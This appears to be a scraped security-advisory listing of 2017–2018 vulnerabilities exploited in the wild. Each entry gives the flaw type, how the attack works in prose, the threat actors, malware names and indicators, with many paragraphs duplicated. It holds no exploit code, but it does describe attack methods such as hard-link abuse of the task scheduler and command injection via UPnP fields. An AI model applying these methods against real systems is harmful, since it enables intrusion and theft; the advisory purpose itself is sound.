Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The vulnerability exists due to ALPC access control flaw. A local attacker can create a hard link from a readable file on the system to a '.job' file in the 'c:\windows\tasks' directory, invoke the _SchRpcSetSecurity() method of the task scheduler service ALPC endpoint to overwrite the linked file and gain system level privileges on the target system. The vulnerability was dubbed "SendboxEscaper".

Note: the vulnerability is being exploited in the wild by the PowerPool group.

i

A privilege escalation vulnerability was first publicly disclosed on Twitter on August 27, 2018. It was successful incorporated into malware used by the PowerPool group, reported by ESET.
The vulnerability was dubbed SendboxEscaper by its author.

Software: Windows

A privilege escalation vulnerability was first publicly disclosed on Twitter on August 27, 2018. It was successful incorporated into malware used by the PowerPool group, reported by ESET.
The vulnerability was dubbed SendboxEscaper by its author.

Remote command execution in Windows Shell on Microsoft Windows 10 and 2016
CVE-2018-8414

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary commands on the target system.

The vulnerability exists due to an error when validating file paths in Windows Shell. A remote attacker can create a specially crafted file, trick the victim into opening it and execute arbitrary system commands on the vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Microsoft Internet Explorer
CVE-2018-8373

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a use-after-free error in VBScript when the scripting engine handles objects in memory in Internet Explorer. A remote unauthenticated attacker can trick the victim into visiting a specially crafted website, trigger memory corruption and execute arbitrary code with elevated privileges.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: The vulnerability has been exploited in the wild.

i

The vulnerability was spotted in the wild by Trend Micro researcher on July 11, 2018. The exploit sample detected by the researchers was using the same obfuscation technique as exploits for CVE-2018-8174, spotted in the wild by Qihoo 360 in April 2018.

Software: Microsoft Internet Explorer

Known/fameous malware:

HTML_EXPLOIT.YYRV

The vulnerability was spotted in the wild by Trend Micro researcher on July 11, 2018. The exploit sample detected by the researchers was using the same obfuscation technique as exploits for CVE-2018-8174, spotted in the wild by Qihoo 360 in April 2018.

Multiple vulnerabilities in Adobe Flash Player
CVE-2018-5002

Stack-based buffer overflow

The vulnerability allows a remote attacker to compromise target system.

The vulnerability exists due to a stack-based buffer overflow when processing .swf files. A remote attacker can create a specially crafted .swf file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow the attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited in the wild.


i

The vulnerability was reported to Adobe by the following researchers: Chenming Xu and Jason Jones of ICEBRG, Bai Haowen, Zeng Haitao and Huang Chaowen of 360 Threat Intelligence Center of 360 Enterprise Security Group, and Yang Kang, Hu Jiang, Zhang Qing, and Jin Quan of Qihoo 360 Core Security (@360CoreSec), Tencent PC Manager.

The attacks exploiting this vulnerability mainly target the Middle East.

Software: Adobe Flash Player

The vulnerability was reported to Adobe by the following researchers: Chenming Xu and Jason Jones of ICEBRG, Bai Haowen, Zeng Haitao and Huang Chaowen of 360 Threat Intelligence Center of 360 Enterprise Security Group, and Yang Kang, Hu Jiang, Zhang Qing, and Jin Quan of Qihoo 360 Core Security (@360CoreSec), Tencent PC Manager.

The attacks exploiting this vulnerability mainly target the Middle East.

Remote code execution in Samsung SDS Acube ActiveX Control

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation within the AcubeFileCtrl.ocx ActiveX component. A remote attacker can trick the victim into visiting a specially crafted web page and execute arbitrary code on the target system.

Note: this vulnerability is being actively exploited in the wild.


i

The South Korean CERT has reported in the wild exploitation of a remote code execution vulnerability in a popular ActiveX component. The group behind this attack is called Andariel Group. the group is tied to activity of a known North Korean adversary Lazarus Group.

Software: Samsung SDS Acube ActiveX Control

The South Korean CERT has reported in the wild exploitation of a remote code execution vulnerability in a popular ActiveX component. The group behind this attack is called Andariel Group. the group is tied to activity of a known North Korean adversary Lazarus Group.

CSRF in multiple DrayTek routers

Cross-site request forgery

The vulnerability allows a remote attacker to perform CSRF attacks.

The vulnerability exists due to insufficient validation of the HTTP request origin in DrayTek Vigor web management interface. A remote attacker can change setting of Vigor router.

Note: this vulnerability has been exploited in the wild in May 2018. The attackers changed DNS servers of victims to address: 38.134.121.95
i

Vulnerability exploitation was spotted by users of DrayTek routers. Attackers used CSRF vulnerability to change DNS settings of multiple routers to address: 38.134.121.95.

Software: DrayTek firmware

Vulnerability exploitation was spotted by users of DrayTek routers. Attackers used CSRF vulnerability to change DNS settings of multiple routers to address: 38.134.121.95.

Multiple vulnerabilities in Adobe Reader and Acrobat
CVE-2018-4990

Double free memory error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to double free memory error when handling malicious input. A remote attacker can trick the victim into opening a specially crafted .pdf file and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability may result in system compromise.
Note: the vulnerability has being exploited in the wild in March 2018 along with exploit for SB2018050813.

i

In March 2018 ESET detected attacks using two zero-day vulnerabilities in Microsoft win32k.sys driver (CVE-2018-8120) and and Adobe Acrobat.

Software: Adobe Acrobat

Known/fameous malware:

JS/Exploit.Pdfka.QNV trojan (ESET)

In March 2018 ESET detected attacks using two zero-day vulnerabilities in Microsoft win32k.sys driver (CVE-2018-8120) and and Adobe Acrobat.

Privilege escalation in Microsoft Windows win32k.sys driver
CVE-2018-8120

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to boundary error in win32k.sys driver. A local user can execute arbitrary code with SYSTEM privileges.

Note: this vulnerability is being actively exploited in limited targeted attacks.

i

The vulnerability was reported by ESET in March 2018. The attackers used this vulnerability along with double free error in Adobe Acrobat CVE-2018-4990.

Software: Windows

Known/fameous malware:

Win32/Exploit.CVE-2018-8120.A trojan (ESET)

The vulnerability was reported by ESET in March 2018. The attackers used this vulnerability along with double free error in Adobe Acrobat CVE-2018-4990.

Remote denial of service in Matrix Synapse
CVE-2018-10657

Improper input validation

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to an input validation error where malicious events injected with depth = 2^63 - 1 render rooms unusable, related to federation/federation_base.py and handlers/message.py. A remote attacker can send malicious messages and perform a denial of service attack.

Note: this vulnerability has been exploited in the wild in April 2018.

i

The attack was performed on Sunday, April 29 against #matrix:matrix.org and #matrix-dev:matrix.org that made the rooms temporarily unusable.

Software: Synapse

The attack was performed on Sunday, April 29 against #matrix:matrix.org and #matrix-dev:matrix.org that made the rooms temporarily unusable.

Integer overflow in Useless Ethereum Token (UET) implementation
CVE-2018-10468

Integer overflow

The vulnerability allows a remote attacker to steal digital assets.

The vulnerability exists due to integer overflow within the transferFrom() function of a smart contract implementation for Useless Ethereum Token (UET). A remote attacker can steal assets (e.g., transfer all victims' balances into their account) because certain computations involving _value are incorrect.

The vulnerability was dubbed "transferFlaw" and has been exploited in the wild in December 2017.

Not patched
i

This particular vulnerability affects a publicly traded ERC20 token listed in a top exchange. According to PeckShield this vulnerability has been already exploited in the wild since 2017/12/23 in multiple transactions.

Software: Useless Ethereum Token

This particular vulnerability affects a publicly traded ERC20 token listed in a top exchange. According to PeckShield this vulnerability has been already exploited in the wild since 2017/12/23 in multiple transactions.

Integer overflow in SmartMesh ERC20 token
CVE-2018-10376

Integer overflow

The vulnerability allows a remote attacker to manipulate digital assets.

The vulnerability exists due to integer overflow in a smart contract implementation for SmartMesh (aka SMT) within Ethereum ERC20 token. A remote unauthenticated attacker can increase digital assets via crafted _fee and _value parameter.

Note: the vulnerability was actively exploited in April 2018 and was dubbed "proxyOverflow".

Not patched
i

Vulnerability exploitation was spotted on April 24 by a blockchain security startup PeckShield. As a result, OKEx has suspended all ERC-20 tokens.

Software: SmartMesh ERC20 token

Vulnerability exploitation was spotted on April 24 by a blockchain security startup PeckShield. As a result, OKEx has suspended all ERC-20 tokens.

Authentication bypass in MikroTik RouterOS
CVE-2018-14847

Improper authentication

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to improper authentication in the exposed by default Winbox interface on port 8291/TCP. A remote attacker can send specially crafted packets to the affected service, bypass authentication, download local database with user accounts and gain full access to the vulnerable device.

Successful exploitation of the vulnerability may result in system compromise.

Note: this vulnerability has being exploited in the wild in April 2018.
i

The vulnerability was exploited against a very limited number of targets.

Software: MikroTik RouterOS

The vulnerability was exploited against a very limited number of targets.

Integer overflow in multiple Ethereum-based (ERC20) smart contracts
CVE-2018-10299

Integer overflow

The vulnerability allows a remote attacker to perform unauthorized actions.

The vulnerability exists due to integer overflow in the batchTransfer() function of a smart contract implementation for Beauty Ecosystem Coin (BEC). The Ethereum ERC20 token used in the Beauty Chain economic system allows attackers to accomplish an unauthorized increase of digital assets by providing two _receivers arguments in conjunction with a large _value argument.

The vulnerability is dubbed  "batchOverflow". It is exploited in the wild and caused suspension of all transactions and transfers by OKEx exchange.
Not patched
i

The vulnerability exploitation resulted in suspension of all BeautyChain (BEC) transactions.

Software: ERC-20

The vulnerability exploitation resulted in suspension of all BeautyChain (BEC) transactions.

Remote code execution in Microsoft VBScript engine
CVE-2018-8174

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the VBScript engine. A remote attacker can trick the victim into visiting a specially crafted website or open a malicious Office file and execute arbitrary code on the target system.

Note: the vulnerability is being actively exploited in the wild against victims in Asia region. The vulnerability is dubbed "double play".
i

Vulnerability exploitation was detected by Qihoo 360. The company uncovered a zero-day vulnerability in IE, dubbed тАШdouble playтАЩ, that was triggered by weaponized MS Office documents. The experts have been observing an APT group targeting a limited number of users exploiting the zero-day flaw.

Hackers can use the тАШdouble playтАЩ flaw to implant a backdoor Trojan and take full control over the vulnerable machine.

The APT group was delivering an Office document with a malicious web page embedded, once the user opens the document, the exploit code and malicious payloads are downloaded and executed from a remote server. The later phase of this attack leverages a public UAC bypass technique and uses file steganography and memory reflection loading to avoid traffic monitoring and achieve loading with no files. This тАШdouble playтАЩ vulnerability may affect the latest versions of Internet Explorer and applications that are with IE kernel.

For now most of the victims are located in Asia.
In May 2018 the vulnerability was added into the RIG exploit kit, after the PoC code became publicly available.

Software: Windows

Known/fameous malware:

RIG exploit kit

Vulnerability exploitation was detected by Qihoo 360. The company uncovered a zero-day vulnerability in IE, dubbed тАШdouble playтАЩ, that was triggered by weaponized MS Office documents. The experts have been observing an APT group targeting a limited number of users exploiting the zero-day flaw.

Hackers can use the тАШdouble playтАЩ flaw to implant a backdoor Trojan and take full control over the vulnerable machine.

The APT group was delivering an Office document with a malicious web page embedded, once the user opens the document, the exploit code and malicious payloads are downloaded and executed from a remote server. The later phase of this attack leverages a public UAC bypass technique and uses file steganography and memory reflection loading to avoid traffic monitoring and achieve loading with no files. This тАШdouble playтАЩ vulnerability may affect the latest versions of Internet Explorer and applications that are with IE kernel.

For now most of the victims are located in Asia.
In May 2018 the vulnerability was added into the RIG exploit kit, after the PoC code became publicly available.

Authentication bypass in Vesta Control Panel

Improper authentication

The vulnerability allows a remote attacker to bypass authentication checks and gain full access to the affected system.

The vulnerability exists due to import validation of the authentication credentials in Vesta CP management interface. A remote unauthenticated attacker can send a specially crafted HTTP request to Vesta CP management interface, bypass authentication and gain full control over the affected server.

Note: this vulnerability is being actively exploited in the wild.

The attack was reportedly performed from IP addresses, located in China. The attackers created a file "/etc/cron.hourly/gcc.sh" on infected systems. If this file is present on your server, it means that you system has been compromised.
i

The vulnerability was used to compromise hosting servers. The attack was reportedly performed from IP addresses, located in China.
This vulnerability triggered an outage of Digitalocean in NYC regions.

Software: Vesta Control Panel

The vulnerability was used to compromise hosting servers. The attack was reportedly performed from IP addresses, located in China.
This vulnerability triggered an outage of Digitalocean in NYC regions.

Remote code execution in PyBitmessage

Remote code execution

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to a message encoding bug. A remote attacker can send a specially crafted message, run an automated script looking in ~/.electrum/wallets, open a remote reverse shell, gain access to other files and execute arbitrary code.

Successful exploitation of the vulnerability results in system compromise.

Note: the vulnerability has been actively exploited to create a remote shell and steal bitcoins from Electrum wallets.
i

The vulnerability was used in the wild against PyBitmessage v0.6.2 users. According to vendor's notice, Bitmessage developer Peter ┼аurda's Bitmessage addresses were compromised as well by the attackers.

Software: PyBitmessage

The vulnerability was used in the wild against PyBitmessage v0.6.2 users. According to vendor's notice, Bitmessage developer Peter ┼аurda's Bitmessage addresses were compromised as well by the attackers.

Remote code execution in Adobe Flash Player
CVE-2018-4878

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a use-after-free error when processing .swf files. A remote attacker can execute arbitrary code on the target system.

Note: this vulnerability is being actively exploited in the wild against the latest version of Adobe Flash Player.

UPDATE: The vendor has issued the fixed version on February 6, 2018.
i

KR-CERT reported in the wild exploitation of zero-day vulnerability in the latest version of Adobe Flash Player. According to the South Korean Computer Emergency Response Team (KR-CERT), the exploit has being used in the wild since mid-November 2017.

Security experts for FireEye linked the vulnerability to the hacking group TEMP.Reaper. The IP-addresses from which attacks were connected with the C&C-servers belong to the Internet provider Star JV - a joint venture of North Korea and Thailand.

Cisco Talos observed use of vulnerability in attacks conducted by Group 123.

According to FireEye, after successful exploitation of the vulnerability the system is infected with DOGCALL malware.

Cisco Talos specialists also reported cyberattacks using the malicious software, which they called Rokrat.

As revealed by security experts for Morphisec Labs Michael Gorelik and Assaf Kachlon the vulnerability has been used in a watering hole attack against Hong Kong Telecommunications company.

Software: Adobe Flash Player

Known/fameous malware:

DOGCALL
Rokrat

KR-CERT reported in the wild exploitation of zero-day vulnerability in the latest version of Adobe Flash Player. According to the South Korean Computer Emergency Response Team (KR-CERT), the exploit has being used in the wild since mid-November 2017.

Security experts for FireEye linked the vulnerability to the hacking group TEMP.Reaper. The IP-addresses from which attacks were connected with the C&C-servers belong to the Internet provider Star JV - a joint venture of North Korea and Thailand.

Cisco Talos observed use of vulnerability in attacks conducted by Group 123.

According to FireEye, after successful exploitation of the vulnerability the system is infected with DOGCALL malware.

Cisco Talos specialists also reported cyberattacks using the malicious software, which they called Rokrat.

As revealed by security experts for Morphisec Labs Michael Gorelik and Assaf Kachlon the vulnerability has been used in a watering hole attack against Hong Kong Telecommunications company.

Remote code execution in Microsoft Word
CVE-2018-0802

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing Microsoft Word documents. A remote attacker can create a specially crafted Word document, trick the victim into opening it and execute arbitrary code on the target system with privileges of the current user.

Exploitation of the vulnerability requires that a user open a specially crafted file with an affected version of Microsoft Office or Microsoft WordPad software.

Note: the vulnerability is being exploited in the wild.

Software: Microsoft Word

Remote code execution in Huawei HG532 routers
CVE-2017-17215

Command injection

The vulnerability allows a remote attacker with administrator privileges to perform command injection attack on the target system.

The weakness exists due to the implementation of the TR-064 (technical report standard), an application layer protocol for remote management, in the Huawei devices was exposed on the public Internet through Universal Plug and Play (UPnP) protocol at port 37215. A remote attacker can inject shell meta-characters тАЬ$()тАЭ in the NewStatusURL and NewDownloadURL, inject arbitrary commands and execute arbitrary code.

Successful exploitation of the vulnerability allows to download and execute the malicious payload on the Huawei routers and upload Satori botnet that may result in system compromise.

Note: the vulnerability is being actively exploited.
i

The vulnerability has been used in Satori attacks against Huawei's router model HG532. The most targeted countries include the United States, Italy, Germany, and Egypt.

Software: Huawei HG532

Known/fameous malware:

Satori botnet, Mirai malware

The vulnerability has been used in Satori attacks against Huawei's router model HG532. The most targeted countries include the United States, Italy, Germany, and Egypt.

Information disclosure in Roundcube
CVE-2017-16651

Information disclosure

The vulnerability allows a remote authenticated attacker to obtain potentially sensitive information on the target system.

The weakness exists due to insufficient validation of file-based attachment plugins and _task=settings&_action=upload-display&_from=timezone requests. A remote attacker can modify the login form and submit it with valid credentials (username/password) of an email account, send a specially crafted HTTP request and gain unauthorized access to arbitrary files on the host's filesystem, including configuration files of Roundcube.

Note: the vulnerability is being actively exploited.

Software: Roundcube

Remote code execution in Adobe Flash Player
CVE-2017-11292

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error when processing .swf files. A remote unauthenticated attacker can create a specially crafted .swf file, trick the victim into opening it and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

i

According to Kaspersky Lab, the vulnerability has being exploited by the BlackOasis threat actor. The recent attacks leveraging today's zero-day sent malicious Office documents to victims, which came with an embedded ActiveX object that contained the Flash CVE-2017-11292 exploit.

Software: Adobe Flash Player

Known/fameous malware:

FINSPY

According to Kaspersky Lab, the vulnerability has being exploited by the BlackOasis threat actor. The recent attacks leveraging today's zero-day sent malicious Office documents to victims, which came with an embedded ActiveX object that contained the Flash CVE-2017-11292 exploit.

Remote code execution in Microsoft Office
CVE-2017-11826

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling malicious content. A remote attacker can send a specially crafted .doc file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with system privileges.

Successful exploitation of the vulnerability may result in system compromise.

Note: the vulnerability is being actively exploited.
i

The weakness was reported to Microsoft by researchers at China-based security firm Qihoo 360. The experts said they first observed an attack exploiting this vulnerability on September 28. The attacks targeted a small number of the companyтАЩs customers and they involved malicious RTF files.

Software: Microsoft Office

The weakness was reported to Microsoft by researchers at China-based security firm Qihoo 360. The experts said they first observed an attack exploiting this vulnerability on September 28. The attacks targeted a small number of the companyтАЩs customers and they involved malicious RTF files.

Backdoor in CCleaner

Backdoor

CCleaner version 5.33.6162 and CCleaner Cloud version 1.07.3191 were shipped with a backdoor code from official vendorтАЩs website. The incident was detected on September 12.

The malicious version was released on August 15. Users, who downloaded CCleaner between August 15 and September 12, are affected.

i

Avast reported a security breach, which involved compromise of one of the CCleaner distribution servers. As a result, the adversary was able to distribute a backdoored version of CCleaner application between August 15 and September 12. The compromised version of CCleaner was distributed from the official vendor's website.

Software: CCleaner

Avast reported a security breach, which involved compromise of one of the CCleaner distribution servers. As a result, the adversary was able to distribute a backdoored version of CCleaner application between August 15 and September 12. The compromised version of CCleaner was distributed from the official vendor's website.

Remote code execution in Microsoft .NET Framework
CVE-2017-8759

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to uncpecified error when processing untrusted input. A remote unauthenticated attacker can execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

i

The vulnerability was detected by FireEye  researchers. The attacker used Microsoft Office RTF document to leverage RCE in .NET Framework and deploy FINSPY malware. The malicious document тАЬ╨Я╤А╨╛╨╡╨║╤В.docтАЭ (MD5: fe5c4d6bb78e170abf5cf3741868ea4c) had Russian name and might have been used to target a Russian speaker.

Software: Microsoft .NET Framework

Known/fameous malware:

FINSPY

The vulnerability was detected by FireEye  researchers. The attacker used Microsoft Office RTF document to leverage RCE in .NET Framework and deploy FINSPY malware. The malicious document тАЬ╨Я╤А╨╛╨╡╨║╤В.docтАЭ (MD5: fe5c4d6bb78e170abf5cf3741868ea4c) had Russian name and might have been used to target a Russian speaker.

Backdoor in NetSarang software

Backdoor

The vulnerability allows a remote attacker to gain complete control over affected system.

The weakness exists due to presence of backdoor functionality in the nssock2.dll library. After installation, the backdoor ShadowPad activates itself by sending a DNS TXT request for a specific domain. After successful activation, a remote attacker can gain full access to the affected system.

The backdoor has the ability to connect to a malicious C&C server and executed commands, sent by malicious actors.

The backdoor was discovered on August 4, 2017 by Kaspersky Labs researchers.
i

A backdoor code was detected in NetSarang software on August 4, 2017. Next day, on August 5 the developer has released an update to resolve the issue. As of August 15, there is an evidence, that the code has being utilized by one instance in Hong Kong.

The malicious code was delivered to the vendor's clients  by compromising the software update mechanism. The backdoor was included into updates, issued on July 18, 2017. The update contained ShadowPad backdoor.

Software: Xftp

Known/fameous malware:

ShadowPad backdoor

A backdoor code was detected in NetSarang software on August 4, 2017. Next day, on August 5 the developer has released an update to resolve the issue. As of August 15, there is an evidence, that the code has being utilized by one instance in Hong Kong.

The malicious code was delivered to the vendor's clients  by compromising the software update mechanism. The backdoor was included into updates, issued on July 18, 2017. The update contained ShadowPad backdoor.

Privilege escalation in Linux kernel
CVE-2017-7533

Race condition

The vulnerability allows a local user to execute arbitrary code with escalated privileges.

The vulnerability exists due to a race condition in the fsnotify implementation in the Linux kernel through 4.12.4. A local user can create an application, which leverages simultaneous execution of the inotify_handle_event and vfs_rename functions and trigger memory corruption and denials of service attack or execute arbitrary code on the target system with root privileges.

Successful exploitation of this vulnerability may allow a local user to obtain elevated privileges on the system.

Note: this vulnerability is being active exploited in the wild for 32-bit systems in August 2017.

Software: Linux kernel

Backdoor in Web Developer Google Chrome extension

Backdoor

The vulnerability allows a remote attacker to gain unauthorized access to victim's browser.

The vulnerability exists due to presence of backdoor code in Web Development Google Chrome extension 0.4.9, distributed via Google Web Store.


i

The browser extension for Google Chrome has been hijacked on Google Web Store.

Software: Web Developer (Chrome extension)

The browser extension for Google Chrome has been hijacked on Google Web Store.

Backdoor in Copyfish Google Chrome extension

Backdoor

The vulnerability allows a remote attacker to gain unauthorized access to victim's browser.

The vulnerability exists due to presence of backdoor code in Copyfish Google Chrome extension 2.8.5, distributed via Google Web Store.


i

The browser extension has been hijacked on Google Web Store.

Software: Copyfish (Chrome extension)

The browser extension has been hijacked on Google Web Store.

Backdoor in Social Fixer Google Chrome extension

Backdoor

The vulnerability allows a remote attacker to gain unauthorized access to victim's browser.

The vulnerability exists due to presence of backdoor code in Social Fixer Google Chrome extension 20.1.1, distributed via Google Web Store.


i

The browser extension was hijacked on July 3, 2017 and a backdoor was distributed via Google Web Store. The attackers have published non-existing version of the extension 20.1.1.

Software: Social Fixer (Chrome extension)

The browser extension was hijacked on July 3, 2017 and a backdoor was distributed via Google Web Store. The attackers have published non-existing version of the extension 20.1.1.

Backdoor in M.E.Doc software

Backdoor

The security issue exists due to presence of backdoor code in updates, distributed from the official website. After update installation, the system becomes infected with NotPetya ransomware.

Malware, present in the code, also performs various attempts to infect other systems.
i

The backdoor code was distributed via automatic update functionality. The infected version 10.01.189 contained backdoor code, which downloaded and installed NotPetya ransomware along with other tools, indented to distribute malware within local network. 75% of victims were located in Ukraine.

Software: M.E.Doc

Known/fameous malware:

NotPetya

The backdoor code was distributed via automatic update functionality. The infected version 10.01.189 contained backdoor code, which downloaded and installed NotPetya ransomware along with other tools, indented to distribute malware within local network. 75% of victims were located in Ukraine.

Multiple vulnerabilities in Drupal
CVE-2017-6922

Security restrictions bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to insufficient file protection. A remote attacker can bypass access restrictions and view private files that have been uploaded by an anonymous user but not permanently attached to content on the site.

Successful exploitation of the vulnerability may result in access bypass.

Note: The vulnerability was being actively exploited for spam purposes.
i

There are confirmed reports indicating that this vulnerability has been publicly exploited in spam campaigns. The attackers were creating accounts, uploading files with spam links to advertise or influence SEO rankings.

Software: Drupal

There are confirmed reports indicating that this vulnerability has been publicly exploited in spam campaigns. The attackers were creating accounts, uploading files with spam links to advertise or influence SEO rankings.

Backdoor in Chrometana Google Chrome extension

Backdoor

The vulnerability allows a remote attacker to gain unauthorized access to victim's browser.

The vulnerability exists due to presence of backdoor code in Chrometana Google Chrome extension 1.1.3, distributed via Google Web Store.


i

The browser extension was hijacked on Google Web Store. That update included alert10.js, malware that opens popups saying you have a virus.

Software: Chrometana (Chrome extension)

The browser extension was hijacked on Google Web Store. That update included alert10.js, malware that opens popups saying you have a virus.

Remote code execution in Windows Search service
CVE-2017-8543

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when Windows Search handles objects in memory. A remote unauthenticated attacker can send specially crafted messages to the Windows Search service and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution when processing .LNK files in Microsoft Windows
CVE-2017-8464

Improper input validation

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to an error when processing .LNK files. A remote attacker can create a specially crafted .LNK file and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability is being actively exploited in the wild.

Software: Windows

Backdoor in Infinity New Tab Google Chrome extension

Backdoor

The vulnerability allows a remote attacker to gain unauthorized access to victim's browser.

The vulnerability exists due to presence of backdoor code in Infinity New Tab Google Chrome extension 3.12.3, distributed via Google Web Store.


i

The browser extension was hijacked on Google Web Store. The injected script was displaying and advertisement via alert10.js script, informing victims that their PC has been infected with malware and suggesting to purchase fake antivirus.

Software: Infinity New Tab (Chrome extension)

The browser extension was hijacked on Google Web Store. The injected script was displaying and advertisement via alert10.js script, informing victims that their PC has been infected with malware and suggesting to purchase fake antivirus.

Buffer overflow in Microsoft Windows RDP for Windows XP/2003
CVE-2017-0176

Buffer overflow

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error in the Smart Card authentication code in gpkcsp.dll within Windows Remote Desktop services. A remote attacker can send specially crafted packets to the vulnerable system, trigger buffer overflow and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to gain complete control over the affected system.

Note: this vulnerability was publicly disclosed by the Shadow Brokers hacking team along with a fully functional exploit known as "тАЬEsteemAudit".

The vulnerability is being exploited in the wild.


i

The vulnerability was disclosed by the Shadow Brokers hacking team.

Software: Windows

Known/fameous malware:

EsteemAudit

The vulnerability was disclosed by the Shadow Brokers hacking team.

Two remote code execution vulnerabilities when processing EPS files in Microsoft Office
CVE-2017-0262

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error when processing EPS wiles within Microsoft Office documents. A remote unauthenticated attacker can create a specially crafted document, trick the victim into opening it and execute arbitrary code on the target system with privileges of the current victim.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

i

The vulnerability was used by APT28 team along with another zero-day CVE-2017-0263.

Software: Microsoft Office

Known/fameous malware:

GAMEFISH

The vulnerability was used by APT28 team along with another zero-day CVE-2017-0263.

Multiple vulnerabilities in Win32.sys in Microsoft Windows
CVE-2017-0263

Elevation of privilege

The vulnerability allows a local user to elevate privileges on the system.

The vulnerability exists due to boundary error in Win32k.sys driver. A local user can escalate privileges on the system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was used by APT28 team along with another zero-day CVE-2017-0262.

Software: Windows

Known/fameous malware:

GAMEFISH

The vulnerability was used by APT28 team along with another zero-day CVE-2017-0262.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2017-0222

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error. A remote attacker can create a specially crafted website, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution.

Note: the vulnerability is being actively exploited.

Software: Microsoft Internet Explorer

Remote code execution in QNAP QTS

Improper access control

The vulnerability allows a remote attacker to compromise vulnerable device.

The vulnerability exists due to unknown error, which leads to QNAP device compromise. Vulnerability details are not disclosed yet.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable device.

Note: the vulnerability is being actively exploited in the wild.

i

QNAP reported a security issue involving unauthorized access to the QNAP devices. Several QNAP NAS devices running QTS have been injected with XMR mining programs, specifically from mineXMR.com.

Software: QNAP QTS

QNAP reported a security issue involving unauthorized access to the QNAP devices. Several QNAP NAS devices running QTS have been injected with XMR mining programs, specifically from mineXMR.com.

Remote command injection in Ghostscript
CVE-2017-8291

Type confusion

The vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on a targeted system.

The weakness exists due to type confusion error when processing user-supplied parameters passed to the .rsdparams and .eqproc functions in ghostscript. A remote attacker can submit a specially crafted .eps document, execute code in the context of the ghostscript process and bypass -dSAFER protection.

Successful exploitation of the vulnerability may result in system compromise.

Note: this vulnerability is being exploited in the wild.

Software: Ghostscript

Remote code execution in IMAP server in IBM Lotus Domino
CVE-2017-1274

Stack-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing mailbox names in the EXAMINE IMAP command. A remote authenticated attacker can send an EXAMINE IMAP command containing an overly long mailbox name, trigger stack-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability has been exploited in the wild and was disclosed by the Shadow Brokers leak.

The list of affected products, according to software vendor:

  • IBM Domino 9.0.1 through 9.0.1 Feature Pack 8 Interim Fix 1
  • IBM Domino 9.0 through 9.0 Interim Fix 7
  • IBM Domino 8.5.3 through 8.5.3 Fix Pack 6 Interim Fix 16
  • IBM Domino 8.5.2 through 8.5.2 Fix Pack 4
  • IBM Domino 8.5.1 through 8.5.1 Fix Pack 5

i

The exploit code was disclosed by the Shadow Brokers leak.

Software: IBM Domino

Known/fameous malware:

EMPHASISMINE exploit

The exploit code was disclosed by the Shadow Brokers leak.

Two remote code execution vulnerabilities when processing EPS files in Microsoft Office
CVE-2017-0261

Use-after-free

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a use-after-free error when processing EPS images within Microsoft Office files. A remote attacker can create a specially crafted Office file with malicious EPS image, trick the victim into opening it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may allow an attacker to compromise vulnerable system.

Note: this vulnerability is being actively exploited in the wild.

i

The vulnerability was used by Turla and an unknown financially motivated actor.

Software: Microsoft Office

Known/fameous malware:

SHIRIME
NETWIRE

The vulnerability was used by Turla and an unknown financially motivated actor.

